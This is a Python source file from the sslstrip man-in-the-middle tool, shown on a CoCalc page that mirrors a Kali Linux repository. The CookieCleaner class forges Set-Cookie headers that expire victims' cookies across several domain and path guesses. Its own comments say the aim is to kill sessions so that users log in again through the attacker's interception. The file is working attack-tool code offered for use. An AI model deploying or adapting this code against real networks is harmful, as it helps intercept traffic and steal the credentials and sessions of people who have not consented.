Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
nu11secur1ty
GitHub Repository: nu11secur1ty/Kali-Linux
Path: blob/master/sslstrip-work-2019/sslstrip/CookieCleaner.py
1306 views
1
# Copyright (c) 2004-2011 Moxie Marlinspike
2
#
3
# This program is free software; you can redistribute it and/or
4
# modify it under the terms of the GNU General Public License as
5
# published by the Free Software Foundation; either version 3 of the
6
# License, or (at your option) any later version.
7
#
8
# This program is distributed in the hope that it will be useful, but
9
# WITHOUT ANY WARRANTY; without even the implied warranty of
10
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11
# General Public License for more details.
12
#
13
# You should have received a copy of the GNU General Public License
14
# along with this program; if not, write to the Free Software
15
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16
# USA
17
#
18
19
import logging
20
import string
21
22
class CookieCleaner:
23
'''This class cleans cookies we haven't seen before. The basic idea is to
24
kill sessions, which isn't entirely straight-forward. Since we want this to
25
be generalized, there's no way for us to know exactly what cookie we're trying
26
to kill, which also means we don't know what domain or path it has been set for.
27
28
The rule with cookies is that specific overrides general. So cookies that are
29
set for mail.foo.com override cookies with the same name that are set for .foo.com,
30
just as cookies that are set for foo.com/mail override cookies with the same name
31
that are set for foo.com/
32
33
The best we can do is guess, so we just try to cover our bases by expiring cookies
34
in a few different ways. The most obvious thing to do is look for individual cookies
35
and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36
set by Javascript instead of a Set-Cookie header, and if we block those the site
37
will think cookies are disabled in the browser. So we do the expirations and whitlisting
38
based on client,server tuples. The first time a client hits a server, we kill whatever
39
cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40
41
'''
42
43
_instance = None
44
45
def getInstance():
46
if CookieCleaner._instance == None:
47
CookieCleaner._instance = CookieCleaner()
48
49
return CookieCleaner._instance
50
51
getInstance = staticmethod(getInstance)
52
53
def __init__(self):
54
self.cleanedCookies = set();
55
self.enabled = False
56
57
def setEnabled(self, enabled):
58
self.enabled = enabled
59
60
def isClean(self, method, client, host, headers):
61
if method == "POST": return True
62
if not self.enabled: return True
63
if not self.hasCookies(headers): return True
64
65
return (client, self.getDomainFor(host)) in self.cleanedCookies
66
67
def getExpireHeaders(self, method, client, host, headers, path):
68
domain = self.getDomainFor(host)
69
self.cleanedCookies.add((client, domain))
70
71
expireHeaders = []
72
73
for cookie in headers['cookie'].split(";"):
74
cookie = cookie.split("=")[0].strip()
75
expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76
expireHeaders.extend(expireHeadersForCookie)
77
78
return expireHeaders
79
80
def hasCookies(self, headers):
81
return 'cookie' in headers
82
83
def getDomainFor(self, host):
84
hostParts = host.split(".")
85
return "." + hostParts[-2] + "." + hostParts[-1]
86
87
def getExpireCookieStringFor(self, cookie, host, domain, path):
88
pathList = path.split("/")
89
expireStrings = list()
90
91
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93
94
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96
97
if len(pathList) > 2:
98
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99
domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100
101
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102
host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103
104
return expireStrings
105
106
107
108